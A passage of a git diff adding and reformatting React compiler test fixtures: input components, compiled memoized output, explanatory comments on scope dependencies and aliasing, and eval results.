+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-capture-in-method-receiver.expect.md
@@ -33,7 +33,6 @@ function Component() {
   if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
     const x = [];
     x.push(a);
-
     t1 = [x, a];
     $[1] = t1;
   } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-computed-load.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-computed-load.expect.md
index f76e98b6c3e3..3d7de52f4f5c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-computed-load.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-computed-load.expect.md
@@ -3,10 +3,10 @@
 
 ```javascript
 function component(a) {
-  let x = { a };
+  let x = {a};
   let y = {};
 
-  y.x = x["a"];
+  y.x = x['a'];
   mutate(y);
   return x;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-computed-load.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-computed-load.js
index 1bd930dbcf19..f4faec2785b5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-computed-load.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-computed-load.js
@@ -1,8 +1,8 @@
 function component(a) {
-  let x = { a };
+  let x = {a};
   let y = {};
 
-  y.x = x["a"];
+  y.x = x['a'];
   mutate(y);
   return x;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-while.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-while.expect.md
index d74428a1586c..09ca55e9bbfe 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-while.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-while.expect.md
@@ -46,6 +46,7 @@ function foo(cond) {
   } else {
     a = $[1];
   }
+
   return a;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/aliased-nested-scope-fn-expr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/aliased-nested-scope-fn-expr.expect.md
new file mode 100644
index 000000000000..e91766e79c5c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/aliased-nested-scope-fn-expr.expect.md
@@ -0,0 +1,116 @@
+
+## Input
+
+```javascript
+// @enableTransitivelyFreezeFunctionExpressions:false
+import {
+  Stringify,
+  mutate,
+  identity,
+  setPropertyByKey,
+  shallowCopy,
+} from 'shared-runtime';
+/**
+ * Function expression version of `aliased-nested-scope-truncated-dep`.
+ *
+ * In this fixture, the output would be invalid if propagateScopeDeps did not
+ * avoid adding MemberExpression dependencies which would other evaluate during
+ * the mutable ranges of their base objects.
+ * This is different from `aliased-nested-scope-truncated-dep` which *does*
+ * produce correct output regardless of MemberExpression dependency truncation.
+ *
+ * Note while other expressions evaluate inline, function expressions *always*
+ * represent deferred evaluation. This means that
+ * (1) it's always safe to reorder function expression creation until its
+ *     earliest potential invocation
+ * (2) it's invalid to eagerly evaluate function expression dependencies during
+ *     their respective mutable ranges.
+ */
+
+function Component({prop}) {
+  let obj = shallowCopy(prop);
+
+  const aliasedObj = identity(obj);
+
+  // When `obj` is mutable (either directly or through aliases), taking a
+  // dependency on `obj.id` is invalid as it may change before getId() is invoked
+  const getId = () => obj.id;
+
+  mutate(aliasedObj);
+  setPropertyByKey(aliasedObj, 'id', prop.id + 1);
+
+  // Calling getId() should return prop.id + 1, not the prev
+  return <Stringify getId={getId} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{prop: {id: 1}}],
+  sequentialRenders: [{prop: {id: 1}}, {prop: {id: 1}}, {prop: {id: 2}}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableTransitivelyFreezeFunctionExpressions:false
+import {
+  Stringify,
+  mutate,
+  identity,
+  setPropertyByKey,
+  shallowCopy,
+} from "shared-runtime";
+/**
+ * Function expression version of `aliased-nested-scope-truncated-dep`.
+ *
+ * In this fixture, the output would be invalid if propagateScopeDeps did not
+ * avoid adding MemberExpression dependencies which would other evaluate during
+ * the mutable ranges of their base objects.
+ * This is different from `aliased-nested-scope-truncated-dep` which *does*
+ * produce correct output regardless of MemberExpression dependency truncation.
+ *
+ * Note while other expressions evaluate inline, function expressions *always*
+ * represent deferred evaluation. This means that
+ * (1) it's always safe to reorder function expression creation until its
+ *     earliest potential invocation
+ * (2) it's invalid to eagerly evaluate function expression dependencies during
+ *     their respective mutable ranges.
+ */
+
+function Component(t0) {
+  const $ = _c(2);
+  const { prop } = t0;
+  let t1;
+  if ($[0] !== prop) {
+    const obj = shallowCopy(prop);
+    const aliasedObj = identity(obj);
+    const getId = () => obj.id;
+    mutate(aliasedObj);
+    setPropertyByKey(aliasedObj, "id", prop.id + 1);
+    t1 = <Stringify getId={getId} shouldInvokeFns={true} />;
+    $[0] = prop;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ prop: { id: 1 } }],
+  sequentialRenders: [
+    { prop: { id: 1 } },
+    { prop: { id: 1 } },
+    { prop: { id: 2 } },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"getId":{"kind":"Function","result":2},"shouldInvokeFns":true}</div>
+<div>{"getId":{"kind":"Function","result":2},"shouldInvokeFns":true}</div>
+<div>{"getId":{"kind":"Function","result":3},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/aliased-nested-scope-fn-expr.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/aliased-nested-scope-fn-expr.tsx
new file mode 100644
index 000000000000..40022c6f651f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/aliased-nested-scope-fn-expr.tsx
@@ -0,0 +1,46 @@
+// @enableTransitivelyFreezeFunctionExpressions:false
+import {
+  Stringify,
+  mutate,
+  identity,
+  setPropertyByKey,
+  shallowCopy,
+} from 'shared-runtime';
+/**
+ * Function expression version of `aliased-nested-scope-truncated-dep`.
+ *
+ * In this fixture, the output would be invalid if propagateScopeDeps did not
+ * avoid adding MemberExpression dependencies which would other evaluate during
+ * the mutable ranges of their base objects.
+ * This is different from `aliased-nested-scope-truncated-dep` which *does*
+ * produce correct output regardless of MemberExpression dependency truncation.
+ *
+ * Note while other expressions evaluate inline, function expressions *always*
+ * represent deferred evaluation. This means that
+ * (1) it's always safe to reorder function expression creation until its
+ *     earliest potential invocation
+ * (2) it's invalid to eagerly evaluate function expression dependencies during
+ *     their respective mutable ranges.
+ */
+
+function Component({prop}) {
+  let obj = shallowCopy(prop);
+
+  const aliasedObj = identity(obj);
+
+  // When `obj` is mutable (either directly or through aliases), taking a
+  // dependency on `obj.id` is invalid as it may change before getId() is invoked
+  const getId = () => obj.id;
+
+  mutate(aliasedObj);
+  setPropertyByKey(aliasedObj, 'id', prop.id + 1);
+
+  // Calling getId() should return prop.id + 1, not the prev
+  return <Stringify getId={getId} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{prop: {id: 1}}],
+  sequentialRenders: [{prop: {id: 1}}, {prop: {id: 1}}, {prop: {id: 2}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/aliased-nested-scope-truncated-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/aliased-nested-scope-truncated-dep.expect.md
new file mode 100644
index 000000000000..a44c3a1a5dea
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/aliased-nested-scope-truncated-dep.expect.md
@@ -0,0 +1,211 @@
+
+## Input
+
+```javascript
+import {
+  Stringify,
+  mutate,
+  identity,
+  shallowCopy,
+  setPropertyByKey,
+} from 'shared-runtime';
+
+/**
+ * This fixture is similar to `bug-aliased-capture-aliased-mutate` and
+ * `nonmutating-capture-in-unsplittable-memo-block`, but with a focus on
+ * dependency extraction.
+ *
+ * NOTE: this fixture is currently valid, but will break with optimizations:
+ * - Scope and mutable-range based reordering may move the array creation
+ *     *after* the `mutate(aliasedObj)` call. This is invalid if mutate
+ *     reassigns inner properties.
+ * - RecycleInto or other deeper-equality optimizations may produce invalid
+ *     output -- it may compare the array's contents / dependencies too early.
+ * - Runtime validation for immutable values will break if `mutate` does
+ *     interior mutation of the value captured into the array.
+ *
+ * Before scope block creation, HIR looks like this:
+ *  //
+ *  // $1 is unscoped as obj's mutable range will be
+ *  // extended in a later pass
+ *  //
+ *  $1    = LoadLocal obj@0[0:12]
+ *  $2    = PropertyLoad $1.id
+ *  //
+ *  // $3 gets assigned a scope as Array is an allocating
+ *  // instruction, but this does *not* get extended or
+ *  // merged into the later mutation site.
+ *  // (explained in `bug-aliased-capture-aliased-mutate`)
+ *  //
+ *  $3@1  = Array[$2]
+ *  ...
+ *  $10@0 = LoadLocal shallowCopy@0[0, 12]
+ *  $11   = LoadGlobal mutate
+ *  $12   = $11($10@0[0, 12])
+ *
+ * When filling in scope dependencies, we find that it's incorrect to depend on
+ * PropertyLoads from obj as it hasn't completed its mutable range. Following
+ * the immutable / mutable-new typing system, we check the identity of obj to
+ * detect whether it was newly created (and thus mutable) in this render pass.
+ *
+ * HIR with scopes looks like this.
+ * bb0:
+ *  $1    = LoadLocal obj@0[0:12]
+ *  $2    = PropertyLoad $1.id
+ *  scopeTerminal deps=[obj@0] block=bb1 fallt=bb2
+ * bb1:
+ *  $3@1  = Array[$2]
+ *  goto bb2
+ * bb2:
+ *  ...
+ *
+ * This is surprising as deps now is entirely decoupled from temporaries used
+ * by the block itself. scope @1's instructions now reference a value (1)
+ * produced outside its scope range and (2) not represented in its dependencies
+ *
+ * The right thing to do is to ensure that all Loads from a value get assigned
+ * the value's reactive scope. This also requires track mutating and aliasing
+ * separately from scope range. In this example, that would correctly merge
+ * the scopes of $3 with obj.
+ * Runtime validation and optimizations such as ReactiveGraph-based reordering
+ * require this as well.
+ *
+ * A tempting fix is to instead extend $3's ReactiveScope range up to include
+ * $2 (the PropertyLoad). This fixes dependency deduping but not reordering
+ * and mutability.
+ */
+function Component({prop}) {
+  let obj = shallowCopy(prop);
+  const aliasedObj = identity(obj);
+
+  // [obj.id] currently is assigned its own reactive scope
+  const id = [obj.id];
+
+  // Writing to the alias may reassign to previously captured references.
+  // The compiler currently produces valid output, but this breaks with
+  // reordering, recycleInto, and other potential optimizations.
+  mutate(aliasedObj);
+  setPropertyByKey(aliasedObj, 'id', prop.id + 1);
+
+  return <Stringify id={id} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{prop: {id: 1}}],
+  sequentialRenders: [{prop: {id: 1}}, {prop: {id: 1}}, {prop: {id: 2}}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import {
+  Stringify,
+  mutate,
+  identity,
+  shallowCopy,
+  setPropertyByKey,
+} from "shared-runtime";
+
+/**
+ * This fixture is similar to `bug-aliased-capture-aliased-mutate` and
+ * `nonmutating-capture-in-unsplittable-memo-block`, but with a focus on
+ * dependency extraction.
+ *
+ * NOTE: this fixture is currently valid, but will break with optimizations:
+ * - Scope and mutable-range based reordering may move the array creation
+ *     *after* the `mutate(aliasedObj)` call. This is invalid if mutate
+ *     reassigns inner properties.
+ * - RecycleInto or other deeper-equality optimizations may produce invalid
+ *     output -- it may compare the array's contents / dependencies too early.
+ * - Runtime validation for immutable values will break if `mutate` does
+ *     interior mutation of the value captured into the array.
+ *
+ * Before scope block creation, HIR looks like this:
+ *  //
+ *  // $1 is unscoped as obj's mutable range will be
+ *  // extended in a later pass
+ *  //
+ *  $1    = LoadLocal obj@0[0:12]
+ *  $2    = PropertyLoad $1.id
+ *  //
+ *  // $3 gets assigned a scope as Array is an allocating
+ *  // instruction, but this does *not* get extended or
+ *  // merged into the later mutation site.
+ *  // (explained in `bug-aliased-capture-aliased-mutate`)
+ *  //
+ *  $3@1  = Array[$2]
+ *  ...
+ *  $10@0 = LoadLocal shallowCopy@0[0, 12]
+ *  $11   = LoadGlobal mutate
+ *  $12   = $11($10@0[0, 12])
+ *
+ * When filling in scope dependencies, we find that it's incorrect to depend on
+ * PropertyLoads from obj as it hasn't completed its mutable range. Following
+ * the immutable / mutable-new typing system, we check the identity of obj to
+ * detect whether it was newly created (and thus mutable) in this render pass.
+ *
+ * HIR with scopes looks like this.
+ * bb0:
+ *  $1    = LoadLocal obj@0[0:12]
+ *  $2    = PropertyLoad $1.id
+ *  scopeTerminal deps=[obj@0] block=bb1 fallt=bb2
+ * bb1:
+ *  $3@1  = Array[$2]
+ *  goto bb2
+ * bb2:
+ *  ...
+ *
+ * This is surprising as deps now is entirely decoupled from temporaries used
+ * by the block itself. scope @1's instructions now reference a value (1)
+ * produced outside its scope range and (2) not represented in its dependencies
+ *
+ * The right thing to do is to ensure that all Loads from a value get assigned
+ * the value's reactive scope. This also requires track mutating and aliasing
+ * separately from scope range. In this example, that would correctly merge
+ * the scopes of $3 with obj.
+ * Runtime validation and optimizations such as ReactiveGraph-based reordering
+ * require this as well.
+ *
+ * A tempting fix is to instead extend $3's ReactiveScope range up to include
+ * $2 (the PropertyLoad). This fixes dependency deduping but not reordering
+ * and mutability.
+ */
+function Component(t0) {
+  const $ = _c(2);
+  const { prop } = t0;
+  let t1;
+  if ($[0] !== prop) {
+    const obj = shallowCopy(prop);
+    const aliasedObj = identity(obj);
+    const id = [obj.id];
+    mutate(aliasedObj);
+    setPropertyByKey(aliasedObj, "id", prop.id + 1);
+    t1 = <Stringify id={id} />;
+    $[0] = prop;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ prop: { id: 1 } }],
+  sequentialRenders: [
+    { prop: { id: 1 } },
+    { prop: { id: 1 } },
+    { prop: { id: 2 } },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"id":[1]}</div>
+<div>{"id":[1]}</div>
+<div>{"id":[2]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/aliased-nested-scope-truncated-dep.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/aliased-nested-scope-truncated-dep.tsx
new file mode 100644
index 000000000000..4d9d7e78fb30
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/aliased-nested-scope-truncated-dep.tsx
@@ -0,0 +1,93 @@
+import {
+  Stringify,
+  mutate,
+  identity,
+  shallowCopy,
+  setPropertyByKey,
+} from 'shared-runtime';
+
+/**
+ * This fixture is similar to `bug-aliased-capture-aliased-mutate` and
+ * `nonmutating-capture-in-unsplittable-memo-block`, but with a focus on
+ * dependency extraction.
+ *
+ * NOTE: this fixture is currently valid, but will break with optimizations:
+ * - Scope and mutable-range based reordering may move the array creation
+ *     *after* the `mutate(aliasedObj)` call. This is invalid if mutate
+ *     reassigns inner properties.
+ * - RecycleInto or other deeper-equality optimizations may produce invalid
+ *     output -- it may compare the array's contents / dependencies too early.
+ * - Runtime validation for immutable values will break if `mutate` does
+ *     interior mutation of the value captured into the array.
+ *
+ * Before scope block creation, HIR looks like this:
+ *  //
+ *  // $1 is unscoped as obj's mutable range will be
+ *  // extended in a later pass
+ *  //
+ *  $1    = LoadLocal obj@0[0:12]
+ *  $2    = PropertyLoad $1.id
+ *  //
+ *  // $3 gets assigned a scope as Array is an allocating
+ *  // instruction, but this does *not* get extended or
+ *  // merged into the later mutation site.
+ *  // (explained in `bug-aliased-capture-aliased-mutate`)
+ *  //
+ *  $3@1  = Array[$2]
+ *  ...
+ *  $10@0 = LoadLocal shallowCopy@0[0, 12]
+ *  $11   = LoadGlobal mutate
+ *  $12   = $11($10@0[0, 12])
+ *
+ * When filling in scope dependencies, we find that it's incorrect to depend on
+ * PropertyLoads from obj as it hasn't completed its mutable range. Following
+ * the immutable / mutable-new typing system, we check the identity of obj to
+ * detect whether it was newly created (and thus mutable) in this render pass.
+ *
+ * HIR with scopes looks like this.
+ * bb0:
+ *  $1    = LoadLocal obj@0[0:12]
+ *  $2    = PropertyLoad $1.id
+ *  scopeTerminal deps=[obj@0] block=bb1 fallt=bb2
+ * bb1:
+ *  $3@1  = Array[$2]
+ *  goto bb2
+ * bb2:
+ *  ...
+ *
+ * This is surprising as deps now is entirely decoupled from temporaries used
+ * by the block itself. scope @1's instructions now reference a value (1)
+ * produced outside its scope range and (2) not represented in its dependencies
+ *
+ * The right thing to do is to ensure that all Loads from a value get assigned
+ * the value's reactive scope. This also requires track mutating and aliasing
+ * separately from scope range. In this example, that would correctly merge
+ * the scopes of $3 with obj.
+ * Runtime validation and optimizations such as ReactiveGraph-based reordering
+ * require this as well.
+ *
+ * A tempting fix is to instead extend $3's ReactiveScope range up to include
+ * $2 (the PropertyLoad). This fixes dependency deduping but not reordering
+ * and mutability.
+ */
+function Component({prop}) {
+  let obj = shallowCopy(prop);
+  const aliasedObj = identity(obj);
+
+  // [obj.id] currently is assigned its own reactive scope
+  const id = [obj.id];
+
+  // Writing to the alias may reassign to previously captured references.
+  // The compiler currently produces valid output, but this breaks with
+  // reordering, recycleInto, and other potential optimizations.
+  mutate(aliasedObj);
+  setPropertyByKey(aliasedObj, 'id', prop.id + 1);
+
+  return <Stringify id={id} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{prop: {id: 1}}],
+  sequentialRenders: [{prop: {id: 1}}, {prop: {id: 1}}, {prop: {id: 2}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scope-starts-within-cond.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scope-starts-within-cond.expect.md
new file mode 100644
index 000000000000..33d89a92d77b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scope-starts-within-cond.expect.md
@@ -0,0 +1,76 @@
+
+## Input
+
+```javascript
+import {mutate} from 'shared-runtime';
+
+/**
+ * Similar fixture to `align-scopes-nested-block-structure`, but
+ * a simpler case.
+ */
+function useFoo(cond) {
+  let s = null;
+  if (cond) {
+    s = {};
+  } else {
+    return null;
+  }
+  mutate(s);
+  return s;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [true],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { mutate } from "shared-runtime";
+
+/**
+ * Similar fixture to `align-scopes-nested-block-structure`, but
+ * a simpler case.
+ */
+function useFoo(cond) {
+  const $ = _c(3);
+  let s;
+  let t0;
+  if ($[0] !== cond) {
+    t0 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      if (cond) {
+        s = {};
+      } else {
+        t0 = null;
+        break bb0;
+      }
+
+      mutate(s);
+    }
+    $[0] = cond;
+    $[1] = t0;
+    $[2] = s;
+  } else {
+    t0 = $[1];
+    s = $[2];
+  }
+  if (t0 !== Symbol.for("react.early_return_sentinel")) {
+    return t0;
+  }
+  return s;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [true],
+};
+
+```
+      
+### Eval output
+(kind: ok) {"wat0":"joe"}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scope-starts-within-cond.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scope-starts-within-cond.ts
new file mode 100644
index 000000000000..4c0e0aec3a63
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scope-starts-within-cond.ts
@@ -0,0 +1,21 @@
+import {mutate} from 'shared-runtime';
+
+/**
+ * Similar fixture to `align-scopes-nested-block-structure`, but
+ * a simpler case.
+ */
+function useFoo(cond) {
+  let s = null;
+  if (cond) {
+    s = {};
+  } else {
+    return null;
+  }
+  mutate(s);
+  return s;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [true],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-iife-return-modified-later-logical.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-iife-return-modified-later-logical.expect.md
new file mode 100644
index 000000000000..62ea047e2541
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-iife-return-modified-later-logical.expect.md
@@ -0,0 +1,51 @@
+
+## Input
+
+```javascript
+import {getNull} from 'shared-runtime';
+
+function Component(props) {
+  const items = (() => {
+    return getNull() ?? [];
+  })();
+  items.push(props.a);
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: {}}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { getNull } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(2);
+  let items;
+  if ($[0] !== props.a) {
+    items = getNull() ?? [];
+
+    items.push(props.a);
+    $[0] = props.a;
+    $[1] = items;
+  } else {
+    items = $[1];
+  }
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: {} }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [{}]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-iife-return-modified-later-logical.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-iife-return-modified-later-logical.ts
new file mode 100644
index 000000000000..0f1c820b5d75
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-iife-return-modified-later-logical.ts
@@ -0,0 +1,14 @@
+import {getNull} from 'shared-runtime';
+
+function Component(props) {
+  const items = (() => {
+    return getNull() ?? [];
+  })();
+  items.push(props.a);
+  return items;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: {}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-nested-block-structure.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-nested-block-structure.expect.md
new file mode 100644
index 000000000000..2de34053421e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-nested-block-structure.expect.md
@@ -0,0 +1,171 @@
+
+## Input
+
+```javascript
+import {mutate} from 'shared-runtime';
+/**
+ * Fixture showing that it's not sufficient to only align direct scoped
+ * accesses of a block-fallthrough pair.
+ * Below is a simplified view of HIR blocks in this fixture.
+ * Note that here, s is mutated in both bb1 and bb4. However, neither
+ * bb1 nor bb4 have terminal fallthroughs or are fallthroughs themselves.
+ *
+ * This means that we need to recursively visit all scopes accessed between
+ * a block and its fallthrough and extend the range of those scopes which overlap
+ * with an active block/fallthrough pair,
+ *
+ *  bb0
+ *  ┌──────────────┐
+ *  │let s = null  │
+ *  │test cond1    │
+ *  │ <fallthr=bb3>│
+ *  └┬─────────────┘
+ *   │  bb1
+ *   ├─►┌───────┐
+ *   │  │s = {} ├────┐
+ *   │  └───────┘    │
+ *   │  bb2          │
+ *   └─►┌───────┐    │
+ *      │return;│    │
+ *      └───────┘    │
+ *  bb3              │
+ *  ┌──────────────┐◄┘
+ *  │test cond2    │
+ *  │ <fallthr=bb5>│
+ *  └┬─────────────┘
+ *   │  bb4
+ *   ├─►┌─────────┐
+ *   │  │mutate(s)├─┐
+ *   ▼  └─────────┘ │
+ *  bb5             │
+ *  ┌───────────┐   │
+ *  │return s;  │◄──┘
+ *  └───────────┘
+ */
+function useFoo({cond1, cond2}) {
+  let s = null;
+  if (cond1) {
+    s = {};
+  } else {
+    return null;
+  }
+
+  if (cond2) {
+    mutate(s);
+  }
+
+  return s;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond1: true, cond2: false}],
+  sequentialRenders: [
+    {cond1: true, cond2: false},
+    {cond1: true, cond2: false},
+    {cond1: true, cond2: true},
+    {cond1: true, cond2: true},
+    {cond1: false, cond2: true},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { mutate } from "shared-runtime";
+/**
+ * Fixture showing that it's not sufficient to only align direct scoped
+ * accesses of a block-fallthrough pair.
+ * Below is a simplified view of HIR blocks in this fixture.
+ * Note that here, s is mutated in both bb1 and bb4. However, neither
+ * bb1 nor bb4 have terminal fallthroughs or are fallthroughs themselves.
+ *
+ * This means that we need to recursively visit all scopes accessed between
+ * a block and its fallthrough and extend the range of those scopes which overlap
+ * with an active block/fallthrough pair,
+ *
+ *  bb0
+ *  ┌──────────────┐
+ *  │let s = null  │
+ *  │test cond1    │
+ *  │ <fallthr=bb3>│
+ *  └┬─────────────┘
+ *   │  bb1
+ *   ├─►┌───────┐
+ *   │  │s = {} ├────┐
+ *   │  └───────┘    │
+ *   │  bb2          │
+ *   └─►┌───────┐    │
+ *      │return;│    │
+ *      └───────┘    │
+ *  bb3              │
+ *  ┌──────────────┐◄┘
+ *  │test cond2    │
+ *  │ <fallthr=bb5>│
+ *  └┬─────────────┘
+ *   │  bb4
+ *   ├─►┌─────────┐
+ *   │  │mutate(s)├─┐
+ *   ▼  └─────────┘ │
+ *  bb5             │
+ *  ┌───────────┐   │
+ *  │return s;  │◄──┘
+ *  └───────────┘
+ */
+function useFoo(t0) {
+  const $ = _c(4);
+  const { cond1, cond2 } = t0;
+  let s;
+  let t1;
+  if ($[0] !== cond1 || $[1] !== cond2) {
+    t1 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      if (cond1) {
+        s = {};
+      } else {
+        t1 = null;
+        break bb0;
+      }
+
+      if (cond2) {
+        mutate(s);
+      }
+    }
+    $[0] = cond1;
+    $[1] = cond2;
+    $[2] = t1;
+    $[3] = s;
+  } else {
+    t1 = $[2];
+    s = $[3];
+  }
+  if (t1 !== Symbol.for("react.early_return_sentinel")) {
+    return t1;
+  }
+
+  return s;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ cond1: true, cond2: false }],
+  sequentialRenders: [
+    { cond1: true, cond2: false },
+    { cond1: true, cond2: false },
+    { cond1: true, cond2: true },
+    { cond1: true, cond2: true },
+    { cond1: false, cond2: true },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) {}
+{}
+{"wat0":"joe"}
+{"wat0":"joe"}
+null
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-nested-block-structure.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-nested-block-structure.ts
new file mode 100644
index 000000000000..4205f0e2d600
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-nested-block-structure.ts
@@ -0,0 +1,66 @@
+import {mutate} from 'shared-runtime';
+/**
+ * Fixture showing that it's not sufficient to only align direct scoped
+ * accesses of a block-fallthrough pair.
+ * Below is a simplified view of HIR blocks in this fixture.
+ * Note that here, s is mutated in both bb1 and bb4. However, neither
+ * bb1 nor bb4 have terminal fallthroughs or are fallthroughs themselves.
+ *
+ * This means that we need to recursively visit all scopes accessed between
+ * a block and its fallthrough and extend the range of those scopes which overlap
+ * with an active block/fallthrough pair,
+ *
+ *  bb0
+ *  ┌──────────────┐
+ *  │let s = null  │
+ *  │test cond1    │
+ *  │ <fallthr=bb3>│
+ *  └┬─────────────┘
+ *   │  bb1
+ *   ├─►┌───────┐
+ *   │  │s = {} ├────┐
+ *   │  └───────┘    │
+ *   │  bb2          │
+ *   └─►┌───────┐    │
+ *      │return;│    │
+ *      └───────┘    │
+ *  bb3              │
+ *  ┌──────────────┐◄┘
+ *  │test cond2    │
+ *  │ <fallthr=bb5>│
+ *  └┬─────────────┘
+ *   │  bb4
+ *   ├─►┌─────────┐
+ *   │  │mutate(s)├─┐
+ *   ▼  └─────────┘ │
+ *  bb5             │
+ *  ┌───────────┐   │
+ *  │return s;  │◄──┘
+ *  └───────────┘
+ */
+function useFoo({cond1, cond2}) {
+  let s = null;
+  if (cond1) {
+    s = {};
+  } else {
+    return null;
+  }
+
+  if (cond2) {
+    mutate(s);
+  }
+
+  return s;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond1: true, cond2: false}],
+  sequentialRenders: [
+    {cond1: true, cond2: false},
+    {cond1: true, cond2: false},
+    {cond1: true, cond2: true},
+    {cond1: true, cond2: true},
+    {cond1: false, cond2: true},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-if.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-if.expect.md
new file mode 100644
index 000000000000..028831fb2828
--- /dev/null
